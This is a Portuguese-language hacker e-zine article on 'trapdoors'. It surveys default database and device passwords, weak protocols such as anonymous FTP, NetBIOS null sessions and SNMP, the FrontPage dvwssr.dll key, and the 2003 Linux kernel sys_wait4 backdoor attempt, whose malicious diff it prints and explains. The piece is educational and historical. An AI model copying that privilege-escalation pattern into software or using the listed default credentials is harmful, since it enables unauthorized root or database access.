######################################################################## ###################### CLUBE DOS MERCENARIOS ########################### ######################################################################## Documento Privativo aos Membros da Mail List e Grupos Associados ao CDM Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Estes e outros artigos podem ser visto em: http://cdm.frontthescene.com.br/ http://xxxx/ (aguardem) OBS: Todos os dados e informacoes disponibilizados neste artigo possuem somente proposito educacional. O autor nao se responsabiliza pelo mau uso dos dados e informacoes disponibilizadas. OBS2: Crackers, Analistas de Seguranca sem Escrupulos, Defacers, Script Kiddies nao sao bem vindos a leitura deste documento! ******************************** * CLASSIC HACKING: TRAPDOORS * ******************************** 1 - Introducao 2 - Exemplos Reais 2.1 - Senhas Padroes 2.2 - Fraquezas em Protocolos 3 - Exploracao Avancada 4 - Questoes Eticas 5 - Terminando 5.1 - Links e Referencias 5.2 - Consideracoes Finais --------------- 1 - Introducao | -------------- O ano de 1983 trouxe a exibicao de um filme que fez muito sucesso. Todo hacker de respeito ja assistiu este filme e conhece um pouco do que representa a conjuntura e a tecnica demonstrada no mesmo. Trata-se do filme Jogos de Guerra(War Games), que descreve as aventuras de um hacker adolescente nos Estados Unidos e a ameaca que o mau uso da informatica pode trazer a seguranca das pessoas. Apesar de ser apenas um filme, uma tecnica eh apresentada no mesmo e que se mantem muito atual. Um recurso utilizado por programadores para gerenciar seus softwares. Este recurso eh denominado "TRAPDOOR", tambem comumente referenciado como Backdoor ou Trojan Horse, mas iremos diferenciar os termos, para que nao haja confusao. Para uma analise do que eh backdoor e trojan horse, consulte um artigo escrito por mim ha alguns anos atras denominado "Backdoors e Trojans Horses". TRAPDOORS se refere a codigos maliciosos e senhas de acesso deixadas por programadores/desenvolvedores em seus softwares para acesso futuro ou exploracao do sistema num tempo futuro. A principal diferenca com o termo backdoor, remonta que o proprio programador eh quem insere a senha ou codigo para acesso e nao um atacante ou uma terceira pessoa. No decorrer da Revolucao Informatica, muitos exemplos de trapdoors tem vindo ao publico. Mais cedo ou mais tarde, as trapdoors tornam-se publicas atraves de engenharia reversa, exploitacao de falhas e etc. A desconfianca para com empresas e programadores aumenta as chances de auditoria, proporcionando assim que as trapdoors realmente se tornem publicas. Este eh um artigo ultra-basico que descreve o conceito e como explorar o mesmo. Aborda alguns exemplos notorios, no entanto, eh apenas o ponta-peh inicial sobre este tema, de modo que, nao recomendo a leitura por parte de "ELITES" e pseudo-elites(script kiddies, defacers). Limitarei a demonstracao de exemplos apenas a nivel de software e nao a nivel de algoritmos criptograficos, onde se sabe que as trapdoors sao bastante comuns(isso vai ser visto num futuro proximo). ------------------- 2 - Exemplos Reais | ------------------- Uma grande diferenca entre uma Trapdoor e uma falha comum reside na intencao do programador em colocar a falha ou codigo de acesso, enquanto que numa falha comum, o codigo contem um erro nao-proposital, na trapdoor o erro ou codigo de acesso expoe um objetivo do programador: "ACESSAR SISTEMAS" ou permitir o acesso por parte de determinadas pessoas(orgaos governamentais, analistas de suporte, agencias de espionagem, etc). Muitas vezes, tais sistemas sao mais do que alheios. Tambem eh muito comum a existencia de tais trapdoors em sistemas e algoritmos de criptografia, que tornam possivel a extracao de chaves sem utilizacao de forca bruta e outros ataques complexos. Vejamos alguns exemplos reais de TRAPDOORs numa otica de pesquisa. A ideia eh abrir a discussao em torno deste tema e expandir os conceitos atraves da interacao e raciocinio dos leitores. 2.1 - Senhas Padroes --------------------- Muitos dispositivos como Switchs, Roteadores, Modems, bem como sistemas operacionais e servicos, costumam vir com senhas padroes, instaladas pelos desenvolvedores para acesso inicial ao produto. A grande maioria dessas senhas vem documentadas em manuais e documentos do software ou dispositivo. Mas jah neste ponto, um atacante pode obter vantagens. A grande maioria dos administradores de rede costumam negligenciar aspectos basicos de seguranca. E um desses aspectos basicos se refere a alteracao imediata de senhas padroes. Por nao alterarem as senhas padroes, muitos administradores de rede expoe um recurso para atacantes atentos. No site abaixo, podemos ver uma grande variedade de senhas padroes para diferentes dispositivos e recursos: http://phenoelit.darklab.org/cgi-bin/display.pl?SUBF=list&SORT=4&SEARCH= Um exemplo de ataque comum hoje em dia, eh utilizar uma senha padrao para acesso a um roteador. Nao raro, um atacante procura obter acesso a um roteador para desviar rotas e implementar outros tipos de ataques como "Passive Sniffing", man-in-the-middle, etc. Neste cenario, se torna necessario a checagem dos dispositivos por parte de um administrador/equipe de seguranca. Mas nao sao apenas os dispositivos que possuem senhas padroes. Como citei no inicio, varios softwares vem com senhas padroes. Um exemplo classico estah presente num produto Microsoft. O MS SQL Server(assim como inumeros servidores de banco de dados) vem com uma senha padrao para acesso inicial ao sistema denominada "sa". Com esta conta num servidor MS SQL Server, um atacante poderia obter uma shell local num sistema e explorar o mesmo. A existencia desta conta ocasionou o surgimento de um worm demoninado "SQL Snake" ou "SQL Server Worm". A inexistencia de contas "randomicas"(aleatorias) nos servidores de Banco de Dados ocasiona este tipo de fraqueza. Outros Servidores de Base de Dados como MySQL, PostGreSQL e mSQL possuem contas defaults sem password(senha nula), no mesmo molde do MS SQL Server.Logo, nao raro se encontra servidores MySQL com a conta "anonymous/mysql" ativa e sem senha, bem como servidores oracle com a conta "oradb" ou "tiger" defaults. 2.2 - Fraquezas em Protocolos ------------------------------ Apesar de nao se encaixar perfeitamente na definicao de trapdoors, a existencia de falhas nos protocolos de comunicacao e a total negligencia em solucionar tais falhas por parte de desenvolvedores pode ocasionar condicoes propositais de acesso remoto e ateh mesmo evidenciar condicoes de trapdoors em alto-nivel para exploracao por parte de atacantes avancados. O Protocolo TCP/IP foi projetado para ser usado num mundo de "inseguranca" ou onde nao se pensava que haviam tantos atacantes como ha hoje em dia. Neste cenario, diversos protocolos de comunicacao em rede foram criados sem levar em conta o fator seguranca, ocasionando deste modo, a existencia de fraquezas nos protocolos que permitem a existencia de "pseudo-trapdoors". Como exemplo inicial, podemos ver o protocolo FTP(File Transfer Protocol).Por padrao, o protocolo permite acesso atraves de uma conta anonima(ftp, anonymous, etc) onde a senha eh igual a qualquer coisa mais @, exemplo: ftp@. Obter acesso anonimo a um servidor de FTP representa uma fraqueza, pois pode-se levantar inumeras informacoes atraves de um simples acesso a um servidor de ftp, e em alguns casos, explorar vulnerabilidades no proprio Servidor FTP, permitindo obtencao de acesso shell.Um Exemplo de falha que eh explorada atraves de uma conta anonima eh uma condicao de Format Bug presente nos servidores Wu-FTPd dos *nix, onde um atacante com acesso anonimo poderia explorar esta fraqueza atraves do comando "SITE EXEC".Isto pode ser observado em: http://xforce.iss.net/xforce/xfdb/4773 Nao para por ai. O servico "NetBios" existente em redes Microsoft, por padrao permite uma "sessao nula", onde um atacante pode obter acesso de leitura ou escrita em diretorios internos de uma maquina sem a necessidade de uma conta valida, bastando para isso acessar o servidor com login anonimo.Este tipo de acesso tambem propicia a existencia de uma condicao de exploitacao remota, podendo fazer com que um atacante obtenha dominio de uma maquina alvo.Eh muito comum um atacante tentar obter acesso a pastas compartilhadas com contas nulas. Maiores informacoes podem ser obtidas em: http://www.signaltonoise.net/library/netbios.htm Alguns Servicos, como SNMPv1/2, costumam utilizar algumas senhas de acesso (denominadas comunidades). O acesso atraves de comunidades com permissao de escrito pode proporcionar a um atacante a alteracao de rotas num sistema,ocasionando um controle externo e sniffing(captura de dados) em uma maquina remota dominada pelo atacante. Um exemplo deste tipo de ataque foi descrito num documento escrito por mim,intitulado "SNMP p/ as Massas", onde algumas fraquezas do protocolo SNMP podem ser vistas. Existem outras fraquezas nos protocolos que podem atuar como trapdoors deixadas de forma proposital por um desenvolvedor.Um aprofundamento deste tema poderah lhe revelar maiores pormenores. ------------------------ 3 - Exploracao Avancada | ------------------------ Se atacar um sistema atraves de senhas padroes e fraquezas nos protocolos jah eh bem interessante, podemos analisar algumas trapdoors presentes no proprio codigo do programa. Um exemplo classico eh a existencia de uma condicao de exploitacao atraves de uma frase de "zombaria" deixada pelos programadores da Microsoft. O codigo fonte fechado nao apenas fornece maiores meios inseguros mas tambem fornece meios para zombar de outras pessoas e do trabalho alheio. Isto foi visto na seguinte frase presente num .dll: "Netscape Engineers are weenies"! Esta frase estava presente em um dos componentes do Microsoft FrontPage atuando como uma extensao de recursos chamado dvwssr.dll que permitia ao FrontPage ler arquivos .asp codificados num diretorio web root. A existencia desta frase atuava como uma chave constante permitindo que dados fossem decodificados utilizando esta chave, permitindo a condicao de trapdoor: http://www.wiretrip.net/rfp/txt/rfp2k02.txt Ofuscar uma condicao de exploitacao eh algo simples de fazer, principalmente em codigo-fonte fechado.Mas podemos ver que no mundo livre também encontramos alguns problemas. Uma tentativa de insercao de trapdoor no Linux nao obteve sucesso, mesmo apesar de toda sutileza presente na investida. Um sabotador tentou em Novembro de 2003 inserir um codigo malicioso dentro de um funcao do kernel(sys_wait4) capaz de tornar qualquer usuario comum em super-usuario(root).Abaixo o codigo malicioso: --- GOOD 2003-11-05 13:46:44.000000000 -0800 +++ BAD 2003-11-05 13:46:53.000000000 -0800 @@ -1111,6 +1111,8 @@ schedule(); goto repeat; } + if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL; retval = -ECHILD; end_wait4: current->state = TASK_RUNNING; -- Se notarmos, veremos que a checagem de permissao estah sendo feito de forma erronea, current->uid = 0, estah atribuindo o valor 0 para current-uid(uid efetivo do usuario executor). A forma correta em C para checagem de conteudo eh ==(dois sinais de igual) e nao apenas um sinal de igual, =(isso eh atribuicao de valor/conteudo). O ataque foi detectado por levantar suspeitas na forma como cvs foi manuseado e nao por conta da insercao do codigo em si: http://kerneltrap.org/node/view/1584 Isso demonstra a possibilidade de insercao de trapdoors em sistemas abertos e a dificuldade que tais trapdoors podem representar em termos de deteccao(No mundo fechado nem se fala entao!). -------------------- 4 - Questoes Eticas | -------------------- A existencia das trapdoors levantam grande discussao no campo "extra-tecnico". Especula-se que muitas falhas existentes hoje em dia sao trapdoors camufladas que permitem a exploracao por parte de orgaos governamentais e agencias de espionagem. Vejamos um exemplo que trouxe grande debate na comunidade underground(sem links!): O kernel do linux versoes 2.4.22 ateh 2.4.25 e 2.6.1 ateh 2.6.3 possui um opcao em ip_setsockopt() chamado MCAST_MSFILTER que traz consigo uma vulnerabilidade do tipo integer overflow permitindo a um atacante local, a elevacao de privilegio rumo a root e a quebra de quaisquer ferramentas protetoras a nivel de kernel(LSM). Esta falha traduz a desconfianca, onde se questiona o porque de tal servico ter sido disponibilizado com falhas e o tempo de remocao do mesmo: http://secunia.com/advisories/11429/ No mundo windows, a instalacao de patches que ocasionam problemas eh uma constante. Um exemplo recente eh a falha em dcom-rpc, onde em alguns sistemas o patche nao solucionava o problema, permitindo uma condicao de Denial of Service: http://www.security.nnov.ru/search/news.asp?binid=2988 http://www.security.nnov.ru/files/rpc3.zip Cada vez mais, tem-se questionado a existencia de determinados problemas e porque nao se combatem eles de forma mais efetiva. Deixando qualquer "teoria da conspiracao" de lado, o questionamento envolvendo possiveis trapdoors tem levado a criticas aos modelos de seguranca adotados, especialmente ao modelo de seguranca centralizado existente hoje nos produtos Microsoft. Cabe a uma equipe de seguranca/Adm. de rede levar em conta tais fatores e o combate a possiveis trapdoors sem a ajuda de programadores e desenvolvedores, jah que existe a probabilidade deles(programadores) terem inseridos os bugs e vulnerabilidades de forma proposital. --------------- 5 - Terminando | --------------- Longe de esgotar a discussao sobre Trapdoors, este artigo serve apenas como um simples ponta-peh inicial. Deve-se ter cautela com todo tipo de software e checar a procedencia do mesmo, pois como evidenciado, as trapdoors podem estar presentes onde menos se imagina. 5.1 - Links e Referencias ------------------------- Alguns links de nivel: - Clube dos Mercenarios: http://cdm.frontthescene.com.br/ - FronttheScene: http://www.frontthescene.com.br/ - Motd: http://www.motdlabs.org/ Outros interessantes: http://barataeletrica.blogspot.com/ http://www.web-hack.ru/ http://z0mbie.host.sk/ http://www.linux-magazine.de/ 5.2 - Consideracoes Finais --------------------------- Sem tempo!! :).. Pra variar, mas tou por aqui! O Clube dos Mercenarios jah com quase 1 ano e meio de existencia, tentando interagir grandes fucadores na troca de informacoes de forma aberta. As dificuldades da vida, o ganha pao e outros problemas mais, nos obrigam a ocupar o pouco tempo com a sobrevivencia.Eh dificil conciliar muitas coisas e no meu caso, cada vez mais eu tenho ido durmir mais tarde, mas mesmo assim, eu continuo disponibilizando informacoes, preparando documentos e interagindo com newbies. Ainda ha um pouco de hacking na minha vida!:).. e enquanto houver, cah estarei eu disponibilizando material, quebrando regras e conceitos, e libertando mentes!!! Gostaria de agradecer a Jeovah Deus, ao pessoal da cena hacker in portugue language, os grupos que apoiam a troca de informacoes no mundo todo e a minha PAMinha! Um cordial Abraco, Nash Leon. -------------------------------- EOF -----------------------------------